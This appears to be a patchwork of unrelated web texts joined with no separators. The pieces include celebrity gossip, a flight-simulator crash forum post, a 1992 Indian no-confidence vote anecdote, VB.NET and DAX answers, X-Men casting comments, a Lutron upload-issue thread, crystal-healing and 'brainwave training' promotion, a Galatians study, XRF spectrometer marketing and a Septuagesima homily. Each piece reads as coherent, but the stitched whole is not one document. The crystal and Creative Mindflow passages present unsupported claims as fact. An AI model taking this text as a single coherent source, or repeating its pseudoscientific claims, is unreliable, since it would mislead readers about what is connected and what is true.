They may not have the years on them as many of our favorite Black couples do, but you can't deny that Karrueche Tran and Victor Cruz are one of the most fun, and cute couples out there to watch right now. We were reminded of that as they held hands and posed joyously while enjoying shows for New York Fashion Week. We probably like them so much because we know that Tran hasn't had the best luck in love. We watched her go from good times to bad with ex-boyfriend Chris Brown, with their relationship and overall communication ending with a secret child he had with another woman and a restraining order.
Tran told Salon in June that going through that tumultuous relationship helped her come out of her shell and be the woman she is today, and therefore, better able to appreciate a healthy relationship with Cruz.
And no, we don't know if Cruz is the complete opposite of Brown and a super good guy who won't do her wrong. However, we do know that he, so far, makes her very happy.
Really, watching them together just makes us smile. And it might make you smile, too. Check out a few photos of the happy couple hitting the red carpet together, sharing kisses, laughs, googly eyes, and just overall, being happy and in love.


Hi, i have randomly happened ctd on cruise, faulting module is kernelbase. It is clean install p3d 4.4 on win10 prof with newest updates.
Driverbooster checked all drivers up to date.
I've started to pick up a few of those here and there too after months of being crash free. I read this crash being most attributed to video drivers, so I did a clean install of the latest nvidia drivers. I haven't had enough test flights to weigh it's effectiveness, and the crashes were so random and infrequent it's tough to tell.

NEW DELHI: If Congress seems unfazed by the loss of support of Trinamool's 19 members in Lok Sabha, it is for a good reason. The nonchalance stems from the way its Narasimha Rao-led government lasted its full term from 1991-1996 despite being short of majority at the beginning of its tenure. The person, who was tasked with marshaling the magic figure, the then parliamentary affairs minister, Vidya Charan Shukla, is confident that Congress would sail through this time as well.
Relaxing in a south Delhi apartment, away from the din, bustle, machinations and backroom parleys of Lutyens' Bunglow Zone eighty-something Shukla talks in pauses and retains an institutional memory. He is busy writing his "no holds barred memoirs" these days, so personalities and sequence of events come easily to him. He speaks of how he as the parliamentary affairs minister during P V Narasimha Rao's minority government saved it on numerous occasions and most crucially in June, 1992.
Shukla says after the 1991 election, Congress government was in minority, needing over 10 MPs to cross the danger mark. "I had to keep myself vigilant during Parliament session and off it. I had four able ministers of state – Jayanthi Natarajan, Margaret Alva, Rangarajan Kumaramangalam and Mukul Wasnik – who used to meet people and bring them over to me," he says, stressing that "people" stands for MPs.
But the real crunch came during the no-confidence motion of June, 1992. "It was a high-voltage drama," he recounts. He remembers sitting with then Speaker Shivraj Patil for number crunching only to find that ayes and nos were evenly balanced. "Patil's casting vote would have helped us. But it was a dishonorable position. I wanted to change that," he reels off. He remembers getting a chit from the PMO that said four Jharkhand Mukti Morcha MPs would also vote in favour of government. "Including them we were equal," he explains.
What made it worse for Congress was pressure from a large section of Lok Dal MPs, who wanted a whip be issued. "To avoid the expulsion we needed seven Lok Dal MPs to side with us. My job was to find out who were against the whip. It included Ram Lakhan Singh Yadav," Shukla remembers. Yadav was contacted by Shukla and promised a Cabinet berth and an assurance on this from Rao. A day before the no-confidence motion, Yadav came with six other Lok Dal MPs. But despite Shukla's insistence, Yadav did not let his MPs be kept under government's safe custody.
Twist in the tale happened minutes before voting. It was discovered that an MP from Odisha was "no position to understand the voting system". "MPs sitting on his either side were opposed to Congress. We had no way out. So, he was told the colour of button that had to be pressed. But his fingers went on the middle button, so it was read as abstention." As many MPs could not cast their vote, Vijayaraje Scindia of BJP took control of the Odisha MP. Wasnik and Kumaramangalam followed her. Even as Scindia was arguing with ministers, tellers (parliamentary staff who were collecting voting chits from MPs) came and asked the MP about his vote. He said he was in favour of government. "We won by 14 votes," Shukla remembers with a glee. Few months later, he says, Ajit Singh with a depleted flock approached Shukla and requested that with seven MPs already gone, the rest 13 should also be taken. Singh became a minister and government was in majority. Shukla's name did not figure in any investigation. His permissible inducement had worked wonders.

Medway, Kent, England, Methodist Baptisms, Marriages and Burials, 1798-1932
Ancestry.com. Medway, Kent, England, Methodist Baptisms, Marriages and Burials, 1798-1932 [database on-line]. Lehi, UT, USA: Ancestry.com Operations, Inc., 2017.
Original data: Medway Methodist Registers, Medway Archives and Local Studies Centre, Chatham, Kent, England.
About Medway, Kent, England, Methodist Baptisms, Marriages and Burials, 1798-1932
Historical Backgrounds
British Methodist congregations separated from the Church of England shortly after the death of early proponent, John Wesley in 1791. The various streams of Methodism were brought together in 1932, to form one main Church. Methodists are linked together in a 'Connexion' of churches, circuits and districts. The local church is the congregational place of worship. A circuit is a group of local churches, served by a team of local preachers and ministers including the superintendent minister. The district serves a geographical group of circuits and is led by the district chair.
Baptisms typically include (where available) the name of the child, parents' names, baptism date, occupation of father, and by whom baptised. In some cases, the birth date is noted as well. In some registers of children baptised, you may find family groups being baptised together. An infant baptism can be a clue that a member had been in the congregation for all of his or her life, whereas christenings done later in life could indicate the family had more recently joined the congregation.
Marriage records include the marriage date, the couple's names, residences, and their father's names. Ages are often recorded as well.
Burial records typically included the name of the deceased, date of death and age.

First error I get is Handles clause requires a WithEvents variable defined in the containing type or one of its base type.
If I open the .aspx.designer I notice my withevents for the li_left and li_right have been removed, if I manually add them back in the error messages go away but the code behind is not being called when I run.
Any help would be greatly appreciated.
edit to show working answer
Add this and it fixed everything:
Ok figured it out. I needed to process the logic in the repeater1.ItemBound

    Private Sub Repeater1_ItemDataBound(sender As Object, e As RepeaterItemEventArgs) Handles Repeater1.ItemDataBound
    Dim li_left = TryCast(e.Item.FindControl("li_left"), HtmlGenericControl)
    If IsEven(postCount) = True Then
        li_left.Style.Add("display", "visible")
    Else
        li_left.Style.Add("display", "none")
    End If

    Dim li_right = TryCast(e.Item.FindControl("li_right"), HtmlGenericControl)
    If IsEven(postCount) = True Then
        li_right.Style.Add("display", "none")
    Else
        li_right.Style.Add("display", "visible")
    End If
    postCount += 1
End Sub

A: Rather than use your li_left_Load and li_right_Load events, you will want to use the OnItemDataBound event for the repeater.  There, you can set the styles for each item as you load them.

Some Very Quick Thoughts on the X-Men: Apocalypse Casting Announcement
January 22, 2015 Jay 17 comments
Rachel here! ICYMI, they've just announced the casting for the three new kids in X-Men: Apocalypse. Let's take a look:
Sophie Turner as Jean Grey:
Sophie Turner is the only one of the three I've seen in anything, ever; and I could not be happier to see her step into Jean Grey's bright yellow boots. Turner's a fantastic actress, and Sansa Stark is basically the Jean Grey of Game of Thrones: completely awesome and chronically thrown under the bus by both canon and audience. (Incidentally: talk shit about Sansa stark in the comments, and we will cut you. Sansa rules.)
Alexandra Shipp as Storm:
Totally unfamiliar with Shipp, but she looks like a baby Storm, and she's not Halle Berry, so that's two points in her favor.
Tye Sheridan as Cyclops:
With the caveat that I'm no more familiar with this kid than I am with Shipp, can we take a moment to agree that the correct casting for teen Cyclops is and always will be Swing Kids-era Robert Sean Leonard?
Alexandra Shippcastingcyclopsjean greymoviesnewsororo munroerachelscott summersSophie TurnerstormTye SheridanX-Men: Apocalypse
Welcome to Bayville, Rachel. Hope You Survive the Experience!
Rachel and Miles Review the X-Men, Episode 22
I'm pretty sick of light-skinned Americans getting cast as Storm. There's a whole continent full of actresses that would be better fits for the part. And it's not in this hemisphere.
David Katzin says:
I see what you're saying, but playing devil's advocate, even though Storm was grew up in Africa she was born an American citizen. I don't want to argue the point, but that might have factored into the casting agents' reasoning. And while I'm fairly impartial in terms of complexion, I think there is actually a basis for casting an actress with less traditionally African features. I think towards the end of Claremont's run in #253, they heavily implied that although she is an African woman (they used the word "negroid" because the late 80's were a very troubling time), she has very exotic Caucasian and Asian (they used "Oriental," because again with the late 80's and the awkwardness) features as well. They also pointed out her white hair, but I think that is explained as a trait inherited from having a shamanic lineage.
Okay, that got ramble-y, so summarizing: I don't think Storm has as assemblage of genetic traits that exist in nature (though I think Vanessa Williams comes the closest).
SOPHIE TURNER SOPHIE TURNER SOPHIE TURNER! YES YES YES! That's so good.
No strong opinions about the other two.
CyclopsFanNo1 says:
Alexandra Shipp was pretty good in House of Anubis on Nick a couple years ago and I think she's improved from that since. Light skinned or not, she might be able to pull it off.
Can't wait to see this movie. Hope Scott Leads the team for once
my problem with Alexandra Shipp is my problem with contemporary depictions of black comic book charactersbeing light skinned when at their creation were depicted as dark skinned. I think this happens in comic books (like the character Roberto DaCosta being lightened over the years) as well as movies (Halle Berry as Storm). I think because black people come in so many shades of brown casting Shipp as Storm is another case of Hollywood saying black people are interchangeable. Storm being a dark skinned black woman is just as important to her character as her being black and a woman.
But YES to Sophie Turner being Jean!!!
Well, we all know Fox has trouble casting the correct race for people *cough* Human Torch *cough* At least they didn't make her white or something (and there's continuity to think about. Halle Berry is lighter so naturally they should cast someone lighter as young Storm)
Miles says:
The distinction I'd draw there is that Johnny Storm's ethnicity isn't central to his character – he can just as easily be black and be Sue's foster brother, stepbrother, or whatever without anything core about him changing. (See also: Heimdall from Thor.) With Ororo, that's not the case; her specific heritage is quite relevant to who she is. I also think there's a certain amount of valid work to be done in creating a more diverse Marvel Universe: the Silver Age was astoundingly white compared to the real world it was supposed to represent, and where it makes sense to do so, I'm very much in favor of adding some diversity to the modern capes and tights world.
For me personally, Johnny and Sue HAVE to be biological siblings. This reboot is going to suck worst than X-Men 3 because they've thrown the whole dynamic off balance
Sorry, make them both black but don't change just ones race. Or don't change either one's race
As someone who has a lot invested in the characters I love, I find it really helpful to try to remember that a) the things that specifically resonate with me about those characters are personal, not universal; and b) modifications don't erase or ruin the previously existing versions of them, just widen the spectrum of people who can potentially find points of identification with those characters–just like I did in the media I found.
(Also, from a narrative angle, we've been telling variations on the same superhero stories for a lot of years; and I'm happy to see even minor deviations from canon challenging that inertia.)
AlexDumas says:
I agree in principle but Storm was never dark-skinned in the comics. I was still hoping for Lupita Nyongo as Mohawk Storm because I love her attitude.
BeezusRed says:
She would have been amazing and I shared that hope.
did someone say "baby storm"?
http://imgur.com/WUad9iH
Betti says:
Sophie Turner!!!! SQUEEE!!!!She will rock it like no one else. I have no idea about the other two, so I will be a wait a seen on them.
However, I have always maintained that Storm should have been by Angela Bassett from the begining. The woman was a goddess not just a pretty face. If they ever do the Majick Mini series on screen she would still rock older Storm.
Seth Squires says:
Absolutely on board with Sophie Turner. I can't wait to hear her American accent.
Sansa Stark is unfairly treated by both plot and readers/viewers. Sansa's story in the first books/seasons are of a sheltered child who was spoon-fed fairy tales of court life while her brothers learned about war having the worst freshman year ever. Turner is doing an excellent job evolving from that child to a woman more shrewd than her mother.
I can't help loving the choice of Sophie Turner. She's made her claim to fame by playing a character who makes you wonder how she has survived this long and now she gets to play the queen of the "Get Out of Death Free" card.
Anj says:
I agree that "Not Halle Berry" is the most important criteria for casting Storm. It'll be cool to see Storm portrayed as/by an actual young person, since she always felt weirdly ageless in the comics.
Rachel, you are wise, but I've always thought the perfect Cyclops would look like a very young Jim Caviziel (Person of Interest, Count of Monte Cristo). He has the vulnerability, matched with the determination, that I associate with the character. Plus he is lanky (remember when Scott Summers was called "Slim"?).


A hurricane has many faces. Pain, strength, needs, responsibility and even indifference are mixed in the people's expressions, especially after Irma's danger is far away and people look at things from the perspective of the survivors. About the work being carried out and what lies ahead.
With water up to their ankles, some toil to get ahead, to recover and help; others, paradoxically, enjoy the sea as if it were a beach. These were images of Havana this Monday.

LKNC encourages, but does not require college-bound upper school students to pursue Honors courses as available, Advanced Placement courses (AP), College Level Examination Program courses (CLEP), and college level courses.
Honors level courses are available in High School to any qualified students and in Middle School for exceptional students.
We offer the privilege of dual enrollment to qualifying high school juniors and seniors. Students are permitted to attend classes during regular school hours, evenings or summer vacation, depending on the course of study. There is no additional tuition cost required by LKNC for students taking advantage of dual enrollment at local colleges, although tuition, book fees, and other costs may apply from the college. A supervising fee may be charged if the student is not enrolled full-time, but is taking an online college course in our facility. All college courses must correspond to high school credit requirements and present a B-grade equivalent to be accepted by LKNC for high school transfer credit.
For many students, selection as a member of the National Junior Honor Society (NJHS) or the National Honor Society (NHS) is the pinnacle of their achievements in school. Selection for Honor Society is a privilege, not a right. These special organizations recognize exceptional students who embody the cardinal qualities of character, scholarship (must maintain a minimum 3.0 G.P.A.), leadership, service, and citizenship. Students are nominated by staff and then selected by the Honor Society Committee composed of staff members. The selection process is based on the standards of each national society.


Time on your side. vs. Time on my side.
I look through Fashion magazines all the time (it's sort of part of my day job), a line from an advertisement sticks in my head….Time on your side….. music comes swirling in, cuz that's what's going on inside my head… (music, colors, visions) next thing I hear is, "Time is on my side, yes it is. Time is on my side, yes it is." The Rolling Stones. The mind makes funny connections. Time on your side, time on my side – I realize that is a very different thing.


Clear Quartz is a power stone that harmonizes and balances. It enhances energy and thoughts, and purifies the spiritual, mental, and physical. It is also a powerfully protective stone, bringing the purified energy in. Historically this crystal has been used to counter black magic, to perform diagnostic healing, and to communicate with spirits and other worlds. Clear quartz, as opposed to coloured quartz, is associated with the Crown Chakra, but also works well on the entire Chakra System. Clear Quartz is considered to be the only crystal that can clear other crystals. You can place your other crystals on top of the Clear Quartz and this will cleanse them of any negativity.

Henrikh Mkhitaryan: Why I was not happy at Arsenal
Henrikh Mkhitaryan opens up on his move to AS Roma on loan from Arsenal
By The Sport Review
Thursday 12 September 2019, 05:15 UK
Arsenal manager Unai Emery (Photo: Screengrab)
Henrikh Mkhitaryan has revealed that he sought a transfer away from Arsenal this summer because he was not happy with his situation at the north London club.
The Armenia international ended up signing for AS Roma on a season-long loan deal after having been deemed surplus to requirements by Unai Emery at The Emirates.
Mkhitaryan struggled to produce consistent form for the Gunners after having signed for the north London club from Manchester United in January 2018 as part of the deal that saw Alexis Sanchez head the other way.
Both players ended up moving to Serie A this summer, with Sanchez having joined Inter Milan on a season-long loan deal.
And Mkhitaryan has now revealed why he opted to seek a move away from Arsenal this summer.
Speaking in an interview quoted by Sky Sports, Mkhitaryan said: "The last month at Arsenal I was not happy, so that's why I said it was better to come to Roma and to get happy and to get the pleasure from playing football again.
"Now I am in Rome and I focus on them. This is not a step backwards as great football is played here. I wanted to change scenery and for me it is an opportunity to be seized."
He added: "I have to enjoy playing football, no matter the place. In England, I no longer felt happy.
"I got a call from my agent and I wanted to come, because it was a great opportunity for me. I didn't even have a discussion with my agent about money.
"Maybe I was not fitting so well in English football, so I think a change was good."
Mkhitaryan scored just eight goals in 39 Premier League games during his time with the Gunners.
The north London side will return to Premier League action on Sunday when they take on Watford away from home.
The Gunners have won two, drawn one and lost one of their opening four games to leave them with seven points from a possible 12.

I bet I'm the only person you've ever known who's gotten a verbal warning for jaywalking.
Would you believe that they crack down on jaywalking so hard in L.A., people actually follow that law? I visited a friend a few years ago, and he actually waited until the little white light came up to allow us to cross the street.
they had a jaywalking sting in columbus a couple weeks ago... a guy my friend works with got an actual ticket for it!


We are currently investigating a potential issue when uploading a project file to a HomeWorks Illuminations system when using a Windows machine AFTER installing the Windows update that occurred around November 14th. The issue that we have experienced is when connecting via an Ethernet connection, the file will fail to transfer the DBX.dat file. Currently the only work around for this issue is to use a RS232 connection to upload the project file. We are actively working to resolve this issue.

Barbara, Unfortunately the commands you have listed will not resolve the issue of the transfer failing with the Windows update that has been published. These commands will however help if you are experiencing an issue with the "cleanmem,ffff" going through when you are performing a transfer.
4. click on it and click the Uninstall button above the list.

I just removed the Internet Explorer 11 update and blocked it from re-upgrading, and I can upload here (his home system) with no problems.
took 15 minutes for the each machine.
HomeWorks Illumination 1.65 has been posted on the http://resi.lutron.com site to resolve the Ethernet upload issues with Microsoft Windows updates.

The sculptures inlaid into the white marble represent England, Scotland and Ireland. Nowadays, Marble Arch is a nerve centre bringing together both cars and pedestrians in this area which contains so many highlights of the city: Hyde Park, Oxford Street and Park Lane.


Creative Mindflow is a unique brainwave training methodology that unlocks the huge creative potential of the mind and harnesses it for use in every aspect of life. What does this mean in simplest terms?
Essentially, your brain has a lot of power that is untapped. This is because you have several different levels of consciousness, which are your conscious mind, your subconscious mind, and your unconscious mind. While these all function at the same time, generally the conscious mind dominates your thought processes, and your brainwaves flow in a certain pattern that is representative of this.
When you meditate, you tap into the other levels of consciousness that exist. This changes the brainwave patterns in your mind, which in turn changes the way you process information. This is where Creative Mindflow comes in.
Creative Mindflow is all about harnessing the power of the other levels of your mind by allowing them to filter up to the conscious mind, which can act on them. This integration between all levels of the mind is known as the awakened mind state. During this state, your thoughts become more fluid, which allows you to process information and use it for insight, intuition, and creative processes in a new manner. Essentially, by changing your brainwave patterns, your brain's processing power gets a huge boost.
We are very pleased to announce that we will be hosting a Creative Mindflow workshop at Observation Baltimore! The workshop will be lead by George Pierson, a visual artist and former television creative executive at HBO and the Discovery Channel who is certified on Creative Mindflow methodology. The details for the event are below. We hope to see you there!

Epistles: We Are All One in Christ (Galatians 3:23-29)
Paul writes: "Before faith came" [that is, before Christ], "we [the Jews] were held captive under the law, imprisoned until the coming faith would be revealed" (Gal. 3:23). The Jewish people were under the restrictions of the law, under its temporary jurisdiction or custody. The law gave requirements, but never rescued anyone from their tendency to sin, and this confinement lasted only until Christ came.
"So then, the law was our guardian until Christ came[1], in order that we might be justified by faith" (v. 24). The law had authority from Moses until Christ. It showed that humans are prisoners of sin, unable to save themselves through human effort. It showed that salvation can be received only through faith, not by law.
Now that the Law of Moses has fulfilled its purpose, it has become obsolete: "But now that faith has come, we are no longer under a guardian" (Gal 3:25). The law had power in the time before Christ, showing that humans are transgressors, prisoners of sin, unable to be justified by works. But now, the law no longer has authority over us; it cannot condemn us.
Christians are not to look at the law of Moses as if it has anything to do with our salvation. It is not a way to get right with God. It is not a way to enter his kingdom nor a way to stay in his kingdom nor a way to improve our standing with God. Because of Jesus' crucifixion, our relationship with God depends entirely on faith.
Paul concludes that the gospel of salvation by grace through faith treats all people equally: "for in Christ Jesus you are all [children] of God, through faith" (Gal. 3:26). Both Jews and Gentiles receive God's gift by believing the gospel.
"For as many of you as were baptized into Christ have put on Christ" (Gal. 3:27). We have clothed ourselves with him. He gives us the robes of righteousness, and our life is now after the pattern he sets for us.
But the conclusion is even more sweeping than ethnic equality: "There is neither Jew nor Greek, there is neither slave nor free, there is no male and female, for you are all one in Christ Jesus."
The unity we have in Christ should have consequences in the social world. Slave-owners and slaves have equal status with God, and that should affect the way that they treat each other. If slave-owners realized that believing slaves were family members whom they should love as themselves, then the slave-owners would free the slaves. A person's status in the church should not be limited by the status an unbelieving society puts upon them.
In the same way, males and females are one in Christ, but the consequences of that go beyond equal access to salvation (which was not an issue when Paul wrote) — it should result in equal treatment within the church.
Paul returns to the point that salvation is available to all: "If you are Christ's, then you are Abraham's offspring, heirs according to promise" (Gal 3:29). Salvation is based on the promises God gave to Abraham, and we inherit those promises by faith, because that was the basis on which those promises were given in the first place.
Do people today make themselves "prisoners of the law" even though they are not really under the law? (Gal. 3:23)
Do old social divisions affect the unity of people in my church? (Gal. 3:28)
[1] The 1984 edition of the NIV had "to lead us to Christ." But the Greek means "into Christ," and probably means "until" (McKnight, Galatians, 183). "We did not make our way, under the tutelage of the Law, progressively to Christ; instead, Christ came to us" (Hays, 270). In historical experience, we can see that the people who have kept the law (the Jews) have not been particularly "led" to Christ.
The Greeks Had a Word for It: Paidagogos
"The law was our schoolmaster to bring us unto Christ," says Galatians 3:24. The word "schoolmaster" is the King James translation of paidagogos, from which we get the English word pedagogue, meaning "teacher."
But in ancient Greece, a paidagogos was not a schoolteacher. It is difficult to translate this word because it refers to something that does not exist in our society. The Greeks had a word for it because they had "it," and we do not.
Paidagogos comes from two Greek words: pais, meaning child, and agogos, meaning leader. A paidagogos was usually a slave; he made sure the children went to school and did their homework. He taught manners and good behavior, but not academic topics. He supervised the children, and disciplined misbehavior. Paidagogoi had a reputation or stereotype for excessive discipline, and Greeks rarely had fond memories of the slave who supervised them.
The law was like that, Paul says. It watched over the Jewish people and gave them discipline until Christ came. He extends the analogy into chapter 4, saying that young children are like slaves — under the authority of others until a set time. And the Jews (he includes himself by using the word "we") were enslaved until Christ came (Gal. 4:1-3). But now that the true Teacher has come, "we are no longer under a schoolmaster" (Gal. 3:25).

Q: Dax formula for power bi that gives the last value of a column based on the latest date and time on another column I have a table in the following format:
Name         date
abc          8/21/2018 2:00 PM
def          8/21/2018 2:00 PM
ghi          8/20/2018 1:00 PM
xyz          8/19/2018 3:00 PM

I am trying to create a bool column in Power BI which turns 1 if the values are the latest in the date column according to date as well as time.
I need to show basically filter the corresponding rows abc and def that have the latest date and time.

A: To do this as a calculated column, you just need to use the MAX function inside an IF:
Bool = IF(Table1[date] = MAX(Table1[date]), 1, 0)

Analysing Pigments in an Historical Painting
The Bruker ARTAX portable μ-XRF spectrometer delivers spatially resolved element analysis of objects of art, directly on site. Non-destructively characterise differences within fine structures.
In this example, the painting "The Holy Family" by Piero di Cosimo was analysed, to determine whether the blue pigments had discoloured or degraded in certain areas. The elemental composition was analysed, which confirmed that the discoloration of smalt and ultramarine was not attributed to what is known as "blue disease". The analysis also suggested that changes in the painting due to degenerative effects of other pigments should be excluded, because of the material-technical evidence.

Ink on Historical Manuscripts / Forensics
16th-18th century historical manuscripts were written using iron gall ink. The use of naturally occurring raw materials means that the ink contains varying amounts of its constituents and also contains contaminations. By analysing these components, ink can be characterised and manuscripts can be ordered chronologically.
This application example describes how the Bruker ARTAX µ-XRF spectrometer can be used to non-destructively analyse priceless originals. The same technique can be used to analyse forensic evidence in criminal investigations.
Characteristic XRF-spectra 'fingerprints' of various iron gall inks were acquired. This lead to characterisation and chronological classification of the inks used on the manuscript, which allows the date of the work to be determined.
Read the application report
Characterising Historic Pigments
By knowing when a historic pigment was first synthesised or used, the creation dates of paintings and other objects can be determined, and works of art can be put in chronological order.
In this example, two coloured prints of Albrecht Dürer's copperplate "Peter and John heal the lame person" were analysed. The objective was to determine their chronological order by characterising the pigments. Using the ARTAX proved that one copy was coloured in the late 16th century by Georg Mack, while the colouration of the second print took place later, in the 19th century.
Determining the Provenance of Ceramics
Chemical characterisation of ceramics, for provenance and regional allocation, must be non-destructive. The Bruker ARTAX is a fast and reliable tool for provenance studies:
Highly sensitive, with detection limits in the low ppm range ""
Analyse up to a depth of 1 mm, for representative results from a small number of measurements
Simple and reliable quantification, with negligible matrix effects
ARTAX delivers highly reproducibile results, with precise sample positioning and automatic line / area scan.
Read the application note
The Bruker ARTAX consists of a compact measuring head containing:
A specially designed, compact micro-focus X-ray tube with metal-ceramics technology.
Polycapillary X-ray optics that produce a micro-spot of primary X-radiation with extremely high intensity.
A compact, high resolution, nitrogen-free XFlash® SD detector with high speed/low noise electronics.
An advanced sample viewing and analysis spot positioning system.
Convenient, Portable Tripod
The measuring head, motor-driven X-Y-Z positioning stage and control unit are seated on a mobile, vibration-damped tripod. This enables free positioning of the measuring system in relation to the sample, with reproducibility of better than ±10 µm.
Fast X-Ray Tube Exchange
The measuring head consists of a central unit containing the detector, the CCD camera and laser spot. The excitation unit, with tube housing, X-ray tube and X-ray optics, is mounted on the side, fixed by a precision lock for fast exchange. X-ray optics can be changed quickly, as well as excitation sources and target materials, to suit the sample being analysed.
Light Element Analysis
The ARTAX is equipped with a helium purging system for light element analysis. This extends the measurement range compared to ambient air, from Ti(22) to U(92) down to Na(11). Using helium instead of a vacuum protects the sample, which may not be vacuum-safe. Detect light elements including P(15), S(16) and Cl(17), as well as important elements that might otherwise go unnoticed, such as Al(13) and Si(14).
Improved accessibility of samples due to the compact measuring head and distance from the sample.
Touch sensor to avoid contact with the object.
Improved radiation safety, with additional control terminal for direct access to basic functions
Three safety contacts for additional warning lamps, door interlocks etc.
Software controlled helium flow for light element detection, and software controlled laser spot positioning.

Q: Android N Quick Settings Tiles API Tile services order My app provides almost 20 custom tiles.
They are displayed into the Quick Settings Editing layout following the order they have been declared in the manifest, which in my case it is by service tile label.
This is resulting into a non alphabetical order when the app has various localization, and the tile label first char might change.
Am I missing something or is there any way to have them alphabetically ordered in various localizations?
I hope I have explained myself.
Thank you.

A: No, the ordering is controlled by the system. Currently that simply matches the order returned by queryIntentServices().

Jāzeps Vītols is considered a patriarch of Latvian music. He was a great and even legendary personality: the leading figure in Latvian music for more than a half century, a composer, a teacher, a critic, a public figure and an undoubted authority. For more than 30 years as a professor of St. Petersburg Conservatoire Jāzeps Vītols was nurturing the idea about an academic institution for music education in Latvia. Finally in year 1920 the Latvian Conservatoire (now Jāzeps Vītols Latvian Academy of Music) was established. The institution serves the purpose and principles embedded by its founder up to this day.
Life and creativity of Jāzeps Vītols was influenced by trends in the world music to a much higher extent than lives of his contemporaries. Paths of prominent musicians like Nikolai Rimsky-Korsakov, Alexander Glazunov, Anatoly Lyadov, Igor Stravinsky, Sergei Prokofiev, Vincent d'Indy, Karol Szimanovsky, Erkki Melartin crossed Jāzeps Vītols' way, since he was a member of many international organizations and attended various conferences and meetings.
Faiths in his own talent and in his nation were the main pillars of Jāzeps Vītols' creative life. The faith was ever present in his compositions and in his life – from a small choir piece to symphonic scores, from a friendly chat with colleagues to representative events of national importance. Creativity was the essence of Jāzeps Vītols' personality. His music is clear, deep and humane; the composer was striving for harmony, an opinion of a rich and complete personality on a human being and on the world shines through the musical textures.
The creative spirit of Vītols lives on through everyday life as well as celebrations. Nowadays, after regaining of the national independence, more than ever the art of Jāzeps Vītols crosses the borders – international audiences are attracted by Jāzeps Vītols competition for pianists and singers. The attraction has a well founded reason – the music by Vītols is not a museum exhibit; it is a real and live musical art even in the beginning of the 21st century.

Septuagesima Sunday 1st February 2015
Septuagesima Sunday
"But about the eleventh hour he went out and found others standing about, and he said to them, 'Why do you stand here all the day idle?'" Mt. 20:6
This Sunday begins the period in the Church's liturgy in which there is the transition time between the joys of Christmas and Epiphany and the rigours of Lent. Pope St. Gregory the Great established these Sundays before Easter: Septuagesima (70 days), Sexagesima (60 days) and Quinquagesima (50 days) in order to prepare the faithful, both in body and spirit, for the Lenten period of penance. "The Church through the appropriate liturgical texts, tries to make the Christian realize the misery of their state as sinners and their own weakness, in order to prepare them for the need of penance and unite them to the one sacrifice of Christ, which is commemorated in the Lenten cycle." (The Preacher's Encyclopaedia, p. 586-7) The period of Septuagesima has been compared to the seventy years of Babylonian captivity where the Jews wept for their sins and longed to return to Jerusalem. So, too, the Church calls us to weep for our sins and long for the joys of the resurrection and of heaven. We see how this is true in today's Epistle (I Cor. 9:24-27; 10:1-5) where St. Paul reminds the Corinthians to deprive themselves like good athletes in order to prepare for the struggle for the crown of eternal salvation: "...but I chastise my body and bring it into subjection, lest perhaps after preaching to others I myself should be rejected." I Cor. 9:27 In the Gospel (Mt. 20:1-16) parable of "The Labourers in the Vineyard," Jesus shows us how important it is to labour in His vineyard, that is, the temporal world, for the reward of the kingdom of heaven. All are invited to work in the vineyard: "Why do you stand here all the day idle?" Mt. 20:6 All are invited to work for their eternal salvation, and no one should be idle and careless in doing the things which will bring this great reward.
"Do you not know that those who run in a race, all indeed run, but one receives the prize? So run to obtain it." I Cor. 9 24
St. Paul uses the analogy of the runner to show how one must train vigorously to win the prize of a heavenly crown. According to St. Thomas Aquinas, the Christian runs a spiritual race that demands great effort: "Even in the spiritual race, one only receives the prize—he who perseveres to the end. Run, then, for victory; (this) indicates first the effort, then the purpose, lastly the prize." (The Preacher's Encyclopaedia, p. 588) Like all good athletes, St. Paul demands that the faithful who are aiming at the goal of eternal life should do penance and chastise their bodies lest they lose the eternal crown: "...but I chastise my body and bring it into subjection, lest perhaps after preaching to others I myself should be rejected." I Cor. 9:27 St. Paul reminds his followers that it is not enough to belong to the chosen race. He reminds them that the Jews were brought out of Egypt and received great graces from God, but some sinned and died in the desert: "Yet with most of them God was not well-pleased, for 'they were laid low in the desert.'" I Cor. 10:5 The lesson from St. Paul is self-evident: "The Christian is an athlete; and it is not enough for him to cry Lord, Lord, from the gallery. He must be in the arena fight for his life!" (The Preacher's Encyclopaedia, p. 489)
"Even so the last shall be first, and the first last; for many are called, but few are chosen." Mt. 20:16
These mysterious words of Our Lord become clear when one considers the spiritual meaning of this parable in its allegorical sense. The vineyard is our life in the world where we must strive for the reward of our labours: instead of a denarius for our day's work, we will gain eternal life. Quoting St. Gregory the Great and St. Augustine, Dom Prosper Gueranger in his book, The Liturgical Life Vol. 4 says that the various hours of the day represent the stages of life: "It signifies the calling given by God to each of us individually, pressing us to labour, during this life, for the kingdom prepared for us. The morning is our childhood. The third hour, according to the division used by the ancients in counting their day at sunrise; it is our youth. The sixth hour, by which name they called our midday, is manhood. The eleventh hour, which immediately preceded sunset, is old age. The Master of the house calls His labourers at all these various hours." Gueranger, p. 126 All those called must go at the time when they are summoned as they are not certain that they will be called later. The same happens to us in life: no one is certain that he will live to old age. We need to accept the call to live our faith when we are called. We also need to accept the wage which we are promised. Interestingly, the denarius is a coin comprising ten other coins; so the good Christian must keep the Ten Commandments if he hopes to save his life. Jesus calls all to the kingdom of heaven, but not everyone accepts the invitation. Some who thought that they were special because they came first, may be last; and those who were called last, may be first in the kingdom of heaven.
"Have I not a right to do what I choose? Or art thou envious because I am generous?" Mt. 20:15
When the first labourers came for their wages, they reasoned that they should have a higher wage since they had worked all day. In reality, they were envious of the good fortune of those who worked only part of the day. It seems to be another example of the typical reaction of the Pharisees at Jesus' generosity to sinners and other non-Jews. Fr. Boylan in "The Sunday Epistles and Gospels," explains it thus: "The Pharisees were like the early hired workers; they had professed to walk in the ways of the Lord, and for their 'works of the Law', they thought themselves fully entitled to demand payment, as wages earned, from God. Against all this outlook the parable is a protest. The Kingdom of Heaven has been offered to all—but in the goodness and mercy of God, and not as a wage definitely earned by work done. Those who might have expected to enter it first of all are likely to be the last to do so, and those whom the Pharisees despised—the 'people of the land' and sinners—are among the first to enter the Kingdom." p. 131 The Pharisees are the people to whom Jesus often refers in the scriptures who want special favours for being His followers yet they lack His spirit: "'We ate and drank in thy presence, and thou didst teach in our streets.' And he shall say to you, 'I do not know where you are from. Depart from me all you workers of iniquity." Lk. 13: 26-7 Let us be thankful for having been called to be a follower of Christ, and let us wish that all our fellow men would also accept Jesus' call even if it is at "the eleventh hour".
The Capital Sin of Envy
